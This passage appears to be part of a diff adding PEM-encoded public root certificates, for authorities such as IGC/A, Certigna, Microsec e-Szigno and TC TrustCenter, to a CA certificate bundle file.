+FAkK+qDmfQjGGoe9GKhzvSbKYAydzpmfz1wPMOG+FDHqAjAU9JM8SaczepBGR7NjfRObTrdvGDeA
+U/7dIOA1mjbRxwG55tzd8/8dLDoWV9mSOdY=
+-----END CERTIFICATE-----
+
+IGC/A
+=====
+-----BEGIN CERTIFICATE-----
+MIIEAjCCAuqgAwIBAgIFORFFEJQwDQYJKoZIhvcNAQEFBQAwgYUxCzAJBgNVBAYTAkZSMQ8wDQYD
+VQQIEwZGcmFuY2UxDjAMBgNVBAcTBVBhcmlzMRAwDgYDVQQKEwdQTS9TR0ROMQ4wDAYDVQQLEwVE
+Q1NTSTEOMAwGA1UEAxMFSUdDL0ExIzAhBgkqhkiG9w0BCQEWFGlnY2FAc2dkbi5wbS5nb3V2LmZy
+MB4XDTAyMTIxMzE0MjkyM1oXDTIwMTAxNzE0MjkyMlowgYUxCzAJBgNVBAYTAkZSMQ8wDQYDVQQI
+EwZGcmFuY2UxDjAMBgNVBAcTBVBhcmlzMRAwDgYDVQQKEwdQTS9TR0ROMQ4wDAYDVQQLEwVEQ1NT
+STEOMAwGA1UEAxMFSUdDL0ExIzAhBgkqhkiG9w0BCQEWFGlnY2FAc2dkbi5wbS5nb3V2LmZyMIIB
+IjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsh/R0GLFMzvABIaIs9z4iPf930Pfeo2aSVz2
+TqrMHLmh6yeJ8kbpO0px1R2OLc/mratjUMdUC24SyZA2xtgv2pGqaMVy/hcKshd+ebUyiHDKcMCW
+So7kVc0dJ5S/znIq7Fz5cyD+vfcuiWe4u0dzEvfRNWk68gq5rv9GQkaiv6GFGvm/5P9JhfejcIYy
+HF2fYPepraX/z9E0+X1bF8bc1g4oa8Ld8fUzaJ1O/Id8NhLWo4DoQw1VYZTqZDdH6nfK0LJYBcNd
+frGoRpAxVs5wKpayMLh35nnAvSk7/ZR3TL0gzUEl4C7HG7vupARB0l2tEmqKm0f7yd1GQOGdPDPQ
+tQIDAQABo3cwdTAPBgNVHRMBAf8EBTADAQH/MAsGA1UdDwQEAwIBRjAVBgNVHSAEDjAMMAoGCCqB
+egF5AQEBMB0GA1UdDgQWBBSjBS8YYFDCiQrdKyFP/45OqDAxNjAfBgNVHSMEGDAWgBSjBS8YYFDC
+iQrdKyFP/45OqDAxNjANBgkqhkiG9w0BAQUFAAOCAQEABdwm2Pp3FURo/C9mOnTgXeQp/wYHE4RK
+q89toB9RlPhJy3Q2FLwV3duJL92PoF189RLrn544pEfMs5bZvpwlqwN+Mw+VgQ39FuCIvjfwbF3Q
+MZsyK10XZZOYYLxuj7GoPB7ZHPOpJkL5ZB3C55L29B5aqhlSXa/oovdgoPaN8In1buAKBQGVyYsg
+Crpa/JosPL3Dt8ldeCUFP1YUmwza+zpI/pdpXsoQhvdOlgQITeywvl3cO45Pwf2aNjSaTFR+FwNI
+lQgRHAdvhQh+XU3Endv7rs6y0bO4g2wdsrN58dhwmX7wEwLOXt1R0982gaEbeC9xs/FZTEYYKKuF
+0mBWWg==
+-----END CERTIFICATE-----
+
+Security Communication EV RootCA1
+=================================
+-----BEGIN CERTIFICATE-----
+MIIDfTCCAmWgAwIBAgIBADANBgkqhkiG9w0BAQUFADBgMQswCQYDVQQGEwJKUDElMCMGA1UEChMc
+U0VDT00gVHJ1c3QgU3lzdGVtcyBDTy4sTFRELjEqMCgGA1UECxMhU2VjdXJpdHkgQ29tbXVuaWNh
+dGlvbiBFViBSb290Q0ExMB4XDTA3MDYwNjAyMTIzMloXDTM3MDYwNjAyMTIzMlowYDELMAkGA1UE
+BhMCSlAxJTAjBgNVBAoTHFNFQ09NIFRydXN0IFN5c3RlbXMgQ08uLExURC4xKjAoBgNVBAsTIVNl
+Y3VyaXR5IENvbW11bmljYXRpb24gRVYgUm9vdENBMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
+AQoCggEBALx/7FebJOD+nLpCeamIivqA4PUHKUPqjgo0No0c+qe1OXj/l3X3L+SqawSERMqm4miO
+/VVQYg+kcQ7OBzgtQoVQrTyWb4vVog7P3kmJPdZkLjjlHmy1V4qe70gOzXppFodEtZDkBp2uoQSX
+WHnvIEqCa4wiv+wfD+mEce3xDuS4GBPMVjZd0ZoeUWs5bmB2iDQL87PRsJ3KYeJkHcFGB7hj3R4z
+ZbOOCVVSPbW9/wfrrWFVGCypaZhKqkDFMxRldAD5kd6vA0jFQFTcD4SQaCDFkpbcLuUCRarAX1T4
+bepJz11sS6/vmsJWXMY1VkJqMF/Cq/biPT+zyRGPMUzXn0kCAwEAAaNCMEAwHQYDVR0OBBYEFDVK
+9U2vP9eCOKyrcWUXdYydVZPmMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MA0GCSqG
+SIb3DQEBBQUAA4IBAQCoh+ns+EBnXcPBZsdAS5f8hxOQWsTvoMpfi7ent/HWtWS3irO4G8za+6xm
+iEHO6Pzk2x6Ipu0nUBsCMCRGef4Eh3CXQHPRwMFXGZpppSeZq51ihPZRwSzJIxXYKLerJRO1RuGG
+Av8mjMSIkh1W/hln8lXkgKNrnKt34VFxDSDbEJrbvXZ5B3eZKK2aXtqxT0QsNY6llsf9g/BYxnnW
+mHyojf6GPgcWkuF75x3sM3Z+Qi5KhfmRiWiEA4Glm5q+4zfFVKtWOxgtQaQM+ELbmaDgcm+7XeEW
+T1MKZPlO9L9OVL14bIjqv5wTJMJwaaJ/D8g8rQjJsJhAoyrniIPtd490
+-----END CERTIFICATE-----
+
+OISTE WISeKey Global Root GA CA
+===============================
+-----BEGIN CERTIFICATE-----
+MIID8TCCAtmgAwIBAgIQQT1yx/RrH4FDffHSKFTfmjANBgkqhkiG9w0BAQUFADCBijELMAkGA1UE
+BhMCQ0gxEDAOBgNVBAoTB1dJU2VLZXkxGzAZBgNVBAsTEkNvcHlyaWdodCAoYykgMjAwNTEiMCAG
+A1UECxMZT0lTVEUgRm91bmRhdGlvbiBFbmRvcnNlZDEoMCYGA1UEAxMfT0lTVEUgV0lTZUtleSBH
+bG9iYWwgUm9vdCBHQSBDQTAeFw0wNTEyMTExNjAzNDRaFw0zNzEyMTExNjA5NTFaMIGKMQswCQYD
+VQQGEwJDSDEQMA4GA1UEChMHV0lTZUtleTEbMBkGA1UECxMSQ29weXJpZ2h0IChjKSAyMDA1MSIw
+IAYDVQQLExlPSVNURSBGb3VuZGF0aW9uIEVuZG9yc2VkMSgwJgYDVQQDEx9PSVNURSBXSVNlS2V5
+IEdsb2JhbCBSb290IEdBIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAy0+zAJs9
+Nt350UlqaxBJH+zYK7LG+DKBKUOVTJoZIyEVRd7jyBxRVVuuk+g3/ytr6dTqvirdqFEr12bDYVxg
+Asj1znJ7O7jyTmUIms2kahnBAbtzptf2w93NvKSLtZlhuAGio9RN1AU9ka34tAhxZK9w8RxrfvbD
+d50kc3vkDIzh2TbhmYsFmQvtRTEJysIA2/dyoJaqlYfQjse2YXMNdmaM3Bu0Y6Kff5MTMPGhJ9vZ
+/yxViJGg4E8HsChWjBgbl0SOid3gF27nKu+POQoxhILYQBRJLnpB5Kf+42TMwVlxSywhp1t94B3R
+LoGbw9ho972WG6xwsRYUC9tguSYBBQIDAQABo1EwTzALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/BAUw
+AwEB/zAdBgNVHQ4EFgQUswN+rja8sHnR3JQmthG+IbJphpQwEAYJKwYBBAGCNxUBBAMCAQAwDQYJ
+KoZIhvcNAQEFBQADggEBAEuh/wuHbrP5wUOxSPMowB0uyQlB+pQAHKSkq0lPjz0e701vvbyk9vIm
+MMkQyh2I+3QZH4VFvbBsUfk2ftv1TDI6QU9bR8/oCy22xBmddMVHxjtqD6wU2zz0c5ypBd8A3HR4
++vg1YFkCExh8vPtNsCBtQ7tgMHpnM1zFmdH4LTlSc/uMqpclXHLZCB6rTjzjgTGfA6b7wP4piFXa
+hNVQA7bihKOmNqoROgHhGEvWRGizPflTdISzRpFGlgC3gCy24eMQ4tui5yiPAZZiFj4A4xylNoEY
+okxSdsARo27mHbrjWr42U8U+dY+GaSlYU7Wcu2+fXMUY7N0v4ZjJ/L7fCg0=
+-----END CERTIFICATE-----
+
+Microsec e-Szigno Root CA
+=========================
+-----BEGIN CERTIFICATE-----
+MIIHqDCCBpCgAwIBAgIRAMy4579OKRr9otxmpRwsDxEwDQYJKoZIhvcNAQEFBQAwcjELMAkGA1UE
+BhMCSFUxETAPBgNVBAcTCEJ1ZGFwZXN0MRYwFAYDVQQKEw1NaWNyb3NlYyBMdGQuMRQwEgYDVQQL
+EwtlLVN6aWdubyBDQTEiMCAGA1UEAxMZTWljcm9zZWMgZS1Temlnbm8gUm9vdCBDQTAeFw0wNTA0
+MDYxMjI4NDRaFw0xNzA0MDYxMjI4NDRaMHIxCzAJBgNVBAYTAkhVMREwDwYDVQQHEwhCdWRhcGVz
+dDEWMBQGA1UEChMNTWljcm9zZWMgTHRkLjEUMBIGA1UECxMLZS1Temlnbm8gQ0ExIjAgBgNVBAMT
+GU1pY3Jvc2VjIGUtU3ppZ25vIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
+AQDtyADVgXvNOABHzNuEwSFpLHSQDCHZU4ftPkNEU6+r+ICbPHiN1I2uuO/TEdyB5s87lozWbxXG
+d36hL+BfkrYn13aaHUM86tnsL+4582pnS4uCzyL4ZVX+LMsvfUh6PXX5qqAnu3jCBspRwn5mS6/N
+oqdNAoI/gqyFxuEPkEeZlApxcpMqyabAvjxWTHOSJ/FrtfX9/DAFYJLG65Z+AZHCabEeHXtTRbjc
+QR/Ji3HWVBTji1R4P770Yjtb9aPs1ZJ04nQw7wHb4dSrmZsqa/i9phyGI0Jf7Enemotb9HI6QMVJ
+PqW+jqpx62z69Rrkav17fVVA71hu5tnVvCSrwe+3AgMBAAGjggQ3MIIEMzBnBggrBgEFBQcBAQRb
+MFkwKAYIKwYBBQUHMAGGHGh0dHBzOi8vcmNhLmUtc3ppZ25vLmh1L29jc3AwLQYIKwYBBQUHMAKG
+IWh0dHA6Ly93d3cuZS1zemlnbm8uaHUvUm9vdENBLmNydDAPBgNVHRMBAf8EBTADAQH/MIIBcwYD
+VR0gBIIBajCCAWYwggFiBgwrBgEEAYGoGAIBAQEwggFQMCgGCCsGAQUFBwIBFhxodHRwOi8vd3d3
+LmUtc3ppZ25vLmh1L1NaU1ovMIIBIgYIKwYBBQUHAgIwggEUHoIBEABBACAAdABhAG4A+gBzAO0A
+dAB2AOEAbgB5ACAA6QByAHQAZQBsAG0AZQB6AOkAcwDpAGgAZQB6ACAA6QBzACAAZQBsAGYAbwBn
+AGEAZADhAHMA4QBoAG8AegAgAGEAIABTAHoAbwBsAGcA4QBsAHQAYQB0APMAIABTAHoAbwBsAGcA
+4QBsAHQAYQB0AOEAcwBpACAAUwB6AGEAYgDhAGwAeQB6AGEAdABhACAAcwB6AGUAcgBpAG4AdAAg
+AGsAZQBsAGwAIABlAGwAagDhAHIAbgBpADoAIABoAHQAdABwADoALwAvAHcAdwB3AC4AZQAtAHMA
+egBpAGcAbgBvAC4AaAB1AC8AUwBaAFMAWgAvMIHIBgNVHR8EgcAwgb0wgbqggbeggbSGIWh0dHA6
+Ly93d3cuZS1zemlnbm8uaHUvUm9vdENBLmNybIaBjmxkYXA6Ly9sZGFwLmUtc3ppZ25vLmh1L0NO
+PU1pY3Jvc2VjJTIwZS1Temlnbm8lMjBSb290JTIwQ0EsT1U9ZS1Temlnbm8lMjBDQSxPPU1pY3Jv
+c2VjJTIwTHRkLixMPUJ1ZGFwZXN0LEM9SFU/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdDtiaW5h
+cnkwDgYDVR0PAQH/BAQDAgEGMIGWBgNVHREEgY4wgYuBEGluZm9AZS1zemlnbm8uaHWkdzB1MSMw
+IQYDVQQDDBpNaWNyb3NlYyBlLVN6aWduw7MgUm9vdCBDQTEWMBQGA1UECwwNZS1TemlnbsOzIEhT
+WjEWMBQGA1UEChMNTWljcm9zZWMgS2Z0LjERMA8GA1UEBxMIQnVkYXBlc3QxCzAJBgNVBAYTAkhV
+MIGsBgNVHSMEgaQwgaGAFMegSXUWYYTbMUuE0vE3QJDvTtz3oXakdDByMQswCQYDVQQGEwJIVTER
+MA8GA1UEBxMIQnVkYXBlc3QxFjAUBgNVBAoTDU1pY3Jvc2VjIEx0ZC4xFDASBgNVBAsTC2UtU3pp
+Z25vIENBMSIwIAYDVQQDExlNaWNyb3NlYyBlLVN6aWdubyBSb290IENBghEAzLjnv04pGv2i3Gal
+HCwPETAdBgNVHQ4EFgQUx6BJdRZhhNsxS4TS8TdAkO9O3PcwDQYJKoZIhvcNAQEFBQADggEBANMT
+nGZjWS7KXHAM/IO8VbH0jgdsZifOwTsgqRy7RlRw7lrMoHfqaEQn6/Ip3Xep1fvj1KcExJW4C+FE
+aGAHQzAxQmHl7tnlJNUb3+FKG6qfx1/4ehHqE5MAyopYse7tDk2016g2JnzgOsHVV4Lxdbb9iV/a
+86g4nzUGCM4ilb7N1fy+W955a9x6qWVmvrElWl/tftOsRm1M9DKHtCAE4Gx4sHfRhUZLphK3dehK
+yVZs15KrnfVJONJPU+NVkBHbmJbGSfI+9J8b4PeI3CVimUTYc78/MPMMNz7UwiiAc7EBt51alhQB
+S6kRnSlqLtBdgcDPsiBDxwPgN05dCtxZICU=
+-----END CERTIFICATE-----
+
+Certigna
+========
+-----BEGIN CERTIFICATE-----
+MIIDqDCCApCgAwIBAgIJAP7c4wEPyUj/MA0GCSqGSIb3DQEBBQUAMDQxCzAJBgNVBAYTAkZSMRIw
+EAYDVQQKDAlEaGlteW90aXMxETAPBgNVBAMMCENlcnRpZ25hMB4XDTA3MDYyOTE1MTMwNVoXDTI3
+MDYyOTE1MTMwNVowNDELMAkGA1UEBhMCRlIxEjAQBgNVBAoMCURoaW15b3RpczERMA8GA1UEAwwI
+Q2VydGlnbmEwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDIaPHJ1tazNHUmgh7stL7q
+XOEm7RFHYeGifBZ4QCHkYJ5ayGPhxLGWkv8YbWkj4Sti993iNi+RB7lIzw7sebYs5zRLcAglozyH
+GxnygQcPOJAZ0xH+hrTy0V4eHpbNgGzOOzGTtvKg0KmVEn2lmsxryIRWijOp5yIVUxbwzBfsV1/p
+ogqYCd7jX5xv3EjjhQsVWqa6n6xI4wmy9/Qy3l40vhx4XUJbzg4ij02Q130yGLMLLGq/jj8UEYkg
+DncUtT2UCIf3JR7VsmAA7G8qKCVuKj4YYxclPz5EIBb2JsglrgVKtOdjLPOMFlN+XPsRGgjBRmKf
+Irjxwo1p3Po6WAbfAgMBAAGjgbwwgbkwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUGu3+QTmQ
+tCRZvgHyUtVF9lo53BEwZAYDVR0jBF0wW4AUGu3+QTmQtCRZvgHyUtVF9lo53BGhOKQ2MDQxCzAJ
+BgNVBAYTAkZSMRIwEAYDVQQKDAlEaGlteW90aXMxETAPBgNVBAMMCENlcnRpZ25hggkA/tzjAQ/J
+SP8wDgYDVR0PAQH/BAQDAgEGMBEGCWCGSAGG+EIBAQQEAwIABzANBgkqhkiG9w0BAQUFAAOCAQEA
+hQMeknH2Qq/ho2Ge6/PAD/Kl1NqV5ta+aDY9fm4fTIrv0Q8hbV6lUmPOEvjvKtpv6zf+EwLHyzs+
+ImvaYS5/1HI93TDhHkxAGYwP15zRgzB7mFncfca5DClMoTOi62c6ZYTTluLtdkVwj7Ur3vkj1klu
+PBS1xp81HlDQwY9qcEQCYsuuHWhBp6pX6FOqB9IG9tUUBguRA3UsbHK1YZWaDYu5Def131TN3ubY
+1gkIl2PlwS6wt0QmwCbAr1UwnjvVNioZBPRcHv/PLLf/0P2HQBHVESO7SMAhqaQoLf0V+LBOK/Qw
+WyH8EZE0vkHve52Xdf+XlcCWWC/qu0bXu+TZLg==
+-----END CERTIFICATE-----
+
+AC Ra\xC3\xADz Certic\xC3\xA1mara S.A.
+======================================
+-----BEGIN CERTIFICATE-----
+MIIGZjCCBE6gAwIBAgIPB35Sk3vgFeNX8GmMy+wMMA0GCSqGSIb3DQEBBQUAMHsxCzAJBgNVBAYT
+AkNPMUcwRQYDVQQKDD5Tb2NpZWRhZCBDYW1lcmFsIGRlIENlcnRpZmljYWNpw7NuIERpZ2l0YWwg
+LSBDZXJ0aWPDoW1hcmEgUy5BLjEjMCEGA1UEAwwaQUMgUmHDrXogQ2VydGljw6FtYXJhIFMuQS4w
+HhcNMDYxMTI3MjA0NjI5WhcNMzAwNDAyMjE0MjAyWjB7MQswCQYDVQQGEwJDTzFHMEUGA1UECgw+
+U29jaWVkYWQgQ2FtZXJhbCBkZSBDZXJ0aWZpY2FjacOzbiBEaWdpdGFsIC0gQ2VydGljw6FtYXJh
+IFMuQS4xIzAhBgNVBAMMGkFDIFJhw616IENlcnRpY8OhbWFyYSBTLkEuMIICIjANBgkqhkiG9w0B
+AQEFAAOCAg8AMIICCgKCAgEAq2uJo1PMSCMI+8PPUZYILrgIem08kBeGqentLhM0R7LQcNzJPNCN
+yu5LF6vQhbCnIwTLqKL85XXbQMpiiY9QngE9JlsYhBzLfDe3fezTf3MZsGqy2IiKLUV0qPezuMDU
+2s0iiXRNWhU5cxh0T7XrmafBHoi0wpOQY5fzp6cSsgkiBzPZkc0OnB8OIMfuuzONj8LSWKdf/WU3
+4ojC2I+GdV75LaeHM/J4Ny+LvB2GNzmxlPLYvEqcgxhaBvzz1NS6jBUJJfD5to0EfhcSM2tXSExP
+2yYe68yQ54v5aHxwD6Mq0Do43zeX4lvegGHTgNiRg0JaTASJaBE8rF9ogEHMYELODVoqDA+bMMCm
+8Ibbq0nXl21Ii/kDwFJnmxL3wvIumGVC2daa49AZMQyth9VXAnow6IYm+48jilSH5L887uvDdUhf
+HjlvgWJsxS3EF1QZtzeNnDeRyPYL1epjb4OsOMLzP96a++EjYfDIJss2yKHzMI+ko6Kh3VOz3vCa
+Mh+DkXkwwakfU5tTohVTP92dsxA7SH2JD/ztA/X7JWR1DhcZDY8AFmd5ekD8LVkH2ZD6mq093ICK
+5lw1omdMEWux+IBkAC1vImHFrEsm5VoQgpukg3s0956JkSCXjrdCx2bD0Omk1vUgjcTDlaxECp1b
+czwmPS9KvqfJpxAe+59QafMCAwEAAaOB5jCB4zAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQE
+AwIBBjAdBgNVHQ4EFgQU0QnQ6dfOeXRU+Tows/RtLAMDG2gwgaAGA1UdIASBmDCBlTCBkgYEVR0g
+ADCBiTArBggrBgEFBQcCARYfaHR0cDovL3d3dy5jZXJ0aWNhbWFyYS5jb20vZHBjLzBaBggrBgEF
+BQcCAjBOGkxMaW1pdGFjaW9uZXMgZGUgZ2FyYW507WFzIGRlIGVzdGUgY2VydGlmaWNhZG8gc2Ug
+cHVlZGVuIGVuY29udHJhciBlbiBsYSBEUEMuMA0GCSqGSIb3DQEBBQUAA4ICAQBclLW4RZFNjmEf
+AygPU3zmpFmps4p6xbD/CHwso3EcIRNnoZUSQDWDg4902zNc8El2CoFS3UnUmjIz75uny3XlesuX
+EpBcunvFm9+7OSPI/5jOCk0iAUgHforA1SBClETvv3eiiWdIG0ADBaGJ7M9i4z0ldma/Jre7Ir5v
+/zlXdLp6yQGVwZVR6Kss+LGGIOk/yzVb0hfpKv6DExdA7ohiZVvVO2Dpezy4ydV/NgIlqmjCMRW3
+MGXrfx1IebHPOeJCgBbT9ZMj/EyXyVo3bHwi2ErN0o42gzmRkBDI8ck1fj+404HGIGQatlDCIaR4
+3NAvO2STdPCWkPHv+wlaNECW8DYSwaN0jJN+Qd53i+yG2dIPPy3RzECiiWZIHiCznCNZc6lEc7wk
+eZBWN7PGKX6jD/EpOe9+XCgycDWs2rjIdWb8m0w5R44bb5tNAlQiM+9hup4phO9OSzNHdpdqy35f
+/RWmnkJDW2ZaiogN9xa5P1FlK2Zqi9E4UqLWRhH6/JocdJ6PlwsCT2TG9WjTSy3/pDceiz+/RL5h
+RqGEPQgnTIEgd4kI6mdAXmwIUV80WoyWaM3X94nCHNMyAK9Sy9NgWyo6R35rMDOhYil/SrnhLecU
+Iw4OGEfhefwVVdCx/CVxY3UzHCMrr1zZ7Ud3YA47Dx7SwNxkBYn8eNZcLCZDqQ==
+-----END CERTIFICATE-----
+
+TC TrustCenter Class 2 CA II
+============================
+-----BEGIN CERTIFICATE-----
+MIIEqjCCA5KgAwIBAgIOLmoAAQACH9dSISwRXDswDQYJKoZIhvcNAQEFBQAwdjELMAkGA1UEBhMC
+REUxHDAaBgNVBAoTE1RDIFRydXN0Q2VudGVyIEdtYkgxIjAgBgNVBAsTGVRDIFRydXN0Q2VudGVy
+IENsYXNzIDIgQ0ExJTAjBgNVBAMTHFRDIFRydXN0Q2VudGVyIENsYXNzIDIgQ0EgSUkwHhcNMDYw
+MTEyMTQzODQzWhcNMjUxMjMxMjI1OTU5WjB2MQswCQYDVQQGEwJERTEcMBoGA1UEChMTVEMgVHJ1
+c3RDZW50ZXIgR21iSDEiMCAGA1UECxMZVEMgVHJ1c3RDZW50ZXIgQ2xhc3MgMiBDQTElMCMGA1UE
+AxMcVEMgVHJ1c3RDZW50ZXIgQ2xhc3MgMiBDQSBJSTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
+AQoCggEBAKuAh5uO8MN8h9foJIIRszzdQ2Lu+MNF2ujhoF/RKrLqk2jftMjWQ+nEdVl//OEd+DFw
+IxuInie5e/060smp6RQvkL4DUsFJzfb95AhmC1eKokKguNV/aVyQMrKXDcpK3EY+AlWJU+MaWss2
+xgdW94zPEfRMuzBwBJWl9jmM/XOBCH2JXjIeIqkiRUuwZi4wzJ9l/fzLganx4Duvo4bRierERXlQ
+Xa7pIXSSTYtZgo+U4+lK8edJsBTj9WLL1XK9H7nSn6DNqPoByNkN39r8R52zyFTfSUrxIan+GE7u
+SNQZu+995OKdy1u2bv/jzVrndIIFuoAlOMvkaZ6vQaoahPUCAwEAAaOCATQwggEwMA8GA1UdEwEB
+/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBTjq1RMgKHbVkO3kUrL84J6E1wIqzCB
+7QYDVR0fBIHlMIHiMIHfoIHcoIHZhjVodHRwOi8vd3d3LnRydXN0Y2VudGVyLmRlL2NybC92Mi90
+Y19jbGFzc18yX2NhX0lJLmNybIaBn2xkYXA6Ly93d3cudHJ1c3RjZW50ZXIuZGUvQ049VEMlMjBU
+cnVzdENlbnRlciUyMENsYXNzJTIwMiUyMENBJTIwSUksTz1UQyUyMFRydXN0Q2VudGVyJTIwR21i
+SCxPVT1yb290Y2VydHMsREM9dHJ1c3RjZW50ZXIsREM9ZGU/Y2VydGlmaWNhdGVSZXZvY2F0aW9u
+TGlzdD9iYXNlPzANBgkqhkiG9w0BAQUFAAOCAQEAjNfffu4bgBCzg/XbEeprS6iSGNn3Bzn1LL4G
+dXpoUxUc6krtXvwjshOg0wn/9vYua0Fxec3ibf2uWWuFHbhOIprtZjluS5TmVfwLG4t3wVMTZonZ
+KNaL80VKY7f9ewthXbhtvsPcW3nS7Yblok2+XnR8au0WOB9/WIFaGusyiC2y8zl3gK9etmF1Kdsj
+TYjKUCjLhdLTEKJZbtOTVAB6okaVhgWcqRmY5TFyDADiZ9lA4CQze28suVyrZZ0srHbqNZn1l7kP
+JOzHdiEoZa5X6AeIdUpWoNIFOqTmjZKILPPy4cHGYdtBxceb9w4aUUXCYWvcZCcXjFq32nQozZfk
+vQ==
+-----END CERTIFICATE-----
+
+TC TrustCenter Class 3 CA II
+============================
+-----BEGIN CERTIFICATE-----
+MIIEqjCCA5KgAwIBAgIOSkcAAQAC5aBd1j8AUb8wDQYJKoZIhvcNAQEFBQAwdjELMAkGA1UEBhMC
+REUxHDAaBgNVBAoTE1RDIFRydXN0Q2VudGVyIEdtYkgxIjAgBgNVBAsTGVRDIFRydXN0Q2VudGVy
+IENsYXNzIDMgQ0ExJTAjBgNVBAMTHFRDIFRydXN0Q2VudGVyIENsYXNzIDMgQ0EgSUkwHhcNMDYw
+MTEyMTQ0MTU3WhcNMjUxMjMxMjI1OTU5WjB2MQswCQYDVQQGEwJERTEcMBoGA1UEChMTVEMgVHJ1
+c3RDZW50ZXIgR21iSDEiMCAGA1UECxMZVEMgVHJ1c3RDZW50ZXIgQ2xhc3MgMyBDQTElMCMGA1UE
+AxMcVEMgVHJ1c3RDZW50ZXIgQ2xhc3MgMyBDQSBJSTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
+AQoCggEBALTgu1G7OVyLBMVMeRwjhjEQY0NVJz/GRcekPewJDRoeIMJWHt4bNwcwIi9v8Qbxq63W
+yKthoy9DxLCyLfzDlml7forkzMA5EpBCYMnMNWju2l+QVl/NHE1bWEnrDgFPZPosPIlY2C8u4rBo
+6SI7dYnWRBpl8huXJh0obazovVkdKyT21oQDZogkAHhg8fir/gKya/si+zXmFtGt9i4S5Po1auUZ
+uV3bOx4a+9P/FRQI2AlqukWdFHlgfa9Aigdzs5OW03Q0jTo3Kd5c7PXuLjHCINy+8U9/I1LZW+Jk
+2ZyqBwi1Rb3R0DHBq1SfqdLDYmAD8bs5SpJKPQq5ncWg/jcCAwEAAaOCATQwggEwMA8GA1UdEwEB
+/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBTUovyfs8PYA9NXXAek0CSnwPIA1DCB
+7QYDVR0fBIHlMIHiMIHfoIHcoIHZhjVodHRwOi8vd3d3LnRydXN0Y2VudGVyLmRlL2NybC92Mi90
+Y19jbGFzc18zX2NhX0lJLmNybIaBn2xkYXA6Ly93d3cudHJ1c3RjZW50ZXIuZGUvQ049VEMlMjBU
+cnVzdENlbnRlciUyMENsYXNzJTIwMyUyMENBJTIwSUksTz1UQyUyMFRydXN0Q2VudGVyJTIwR21i
+SCxPVT1yb290Y2VydHMsREM9dHJ1c3RjZW50ZXIsREM9ZGU/Y2VydGlmaWNhdGVSZXZvY2F0aW9u
+TGlzdD9iYXNlPzANBgkqhkiG9w0BAQUFAAOCAQEANmDkcPcGIEPZIxpC8vijsrlNirTzwppVMXzE
+O2eatN9NDoqTSheLG43KieHPOh6sHfGcMrSOWXaiQYUlN6AT0PV8TtXqluJucsG7Kv5sbviRmEb8
+yRtXW+rIGjs/sFGYPAfaLFkB2otE6OF0/ado3VS6g0bsyEa1+K+XwDsJHI/OcpY9M1ZwvJbL2NV9
+IJqDnxrcOfHFcqMRA/07QlIp2+gB95tejNaNhk4Z+rwcvsUhpYeeeC422wlxo3I0+GzjBgnyXlal
+092Y+tTmBvTwtiBjS+opvaqCZh77gaqnN60TGOaSw4HBM7uIHqHn4rS9MWwOUT1v+5ZWgOI2F9Hc
+5A==
+-----END CERTIFICATE-----
+
+TC TrustCenter Universal CA I
+=============================
+-----BEGIN CERTIFICATE-----
+MIID3TCCAsWgAwIBAgIOHaIAAQAC7LdggHiNtgYwDQYJKoZIhvcNAQEFBQAweTELMAkGA1UEBhMC
+REUxHDAaBgNVBAoTE1RDIFRydXN0Q2VudGVyIEdtYkgxJDAiBgNVBAsTG1RDIFRydXN0Q2VudGVy
+IFVuaXZlcnNhbCBDQTEmMCQGA1UEAxMdVEMgVHJ1c3RDZW50ZXIgVW5pdmVyc2FsIENBIEkwHhcN
+MDYwMzIyMTU1NDI4WhcNMjUxMjMxMjI1OTU5WjB5MQswCQYDVQQGEwJERTEcMBoGA1UEChMTVEMg
+VHJ1c3RDZW50ZXIgR21iSDEkMCIGA1UECxMbVEMgVHJ1c3RDZW50ZXIgVW5pdmVyc2FsIENBMSYw
+JAYDVQQDEx1UQyBUcnVzdENlbnRlciBVbml2ZXJzYWwgQ0EgSTCCASIwDQYJKoZIhvcNAQEBBQAD
+ggEPADCCAQoCggEBAKR3I5ZEr5D0MacQ9CaHnPM42Q9e3s9B6DGtxnSRJJZ4Hgmgm5qVSkr1YnwC
+qMqs+1oEdjneX/H5s7/zA1hV0qq34wQi0fiU2iIIAI3TfCZdzHd55yx4Oagmcw6iXSVphU9VDprv
+xrlE4Vc93x9UIuVvZaozhDrzznq+VZeujRIPFDPiUHDDSYcTvFHe15gSWu86gzOSBnWLknwSaHtw
+ag+1m7Z3W0hZneTvWq3zwZ7U10VOylY0Ibw+F1tvdwxIAUMpsN0/lm7mlaoMwCC2/T42J5zjXM9O
+gdwZu5GQfezmlwQek8wiSdeXhrYTCjxDI3d+8NzmzSQfO4ObNDqDNOMCAwEAAaNjMGEwHwYDVR0j
+BBgwFoAUkqR1LKSevoFE63n8isWVpesQdXMwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC
+AYYwHQYDVR0OBBYEFJKkdSyknr6BROt5/IrFlaXrEHVzMA0GCSqGSIb3DQEBBQUAA4IBAQAo0uCG
+1eb4e/CX3CJrO5UUVg8RMKWaTzqwOuAGy2X17caXJ/4l8lfmXpWMPmRgFVp/Lw0BxbFg/UU1z/Cy
+vwbZ71q+s2IhtNerNXxTPqYn8aEt2hojnczd7Dwtnic0XQ/CNnm8yUpiLe1r2X1BQ3y2qsrtYbE3
+ghUJGooWMNjsydZHcnhLEEYUjl8Or+zHL6sQ17bxbuyGssLoDZJz3KL0Dzq/YSMQiZxIQG5wALPT
+ujdEWBF6AmqI8Dc08BnprNRlc/ZpjGSUOnmFKbAWKwyCPwacx/0QK54PLLae4xW/2TYcuiUaUj0a
+7CIMHOCkoj3w6DnPgcB77V0fb8XQC9eY
+-----END CERTIFICATE-----
+
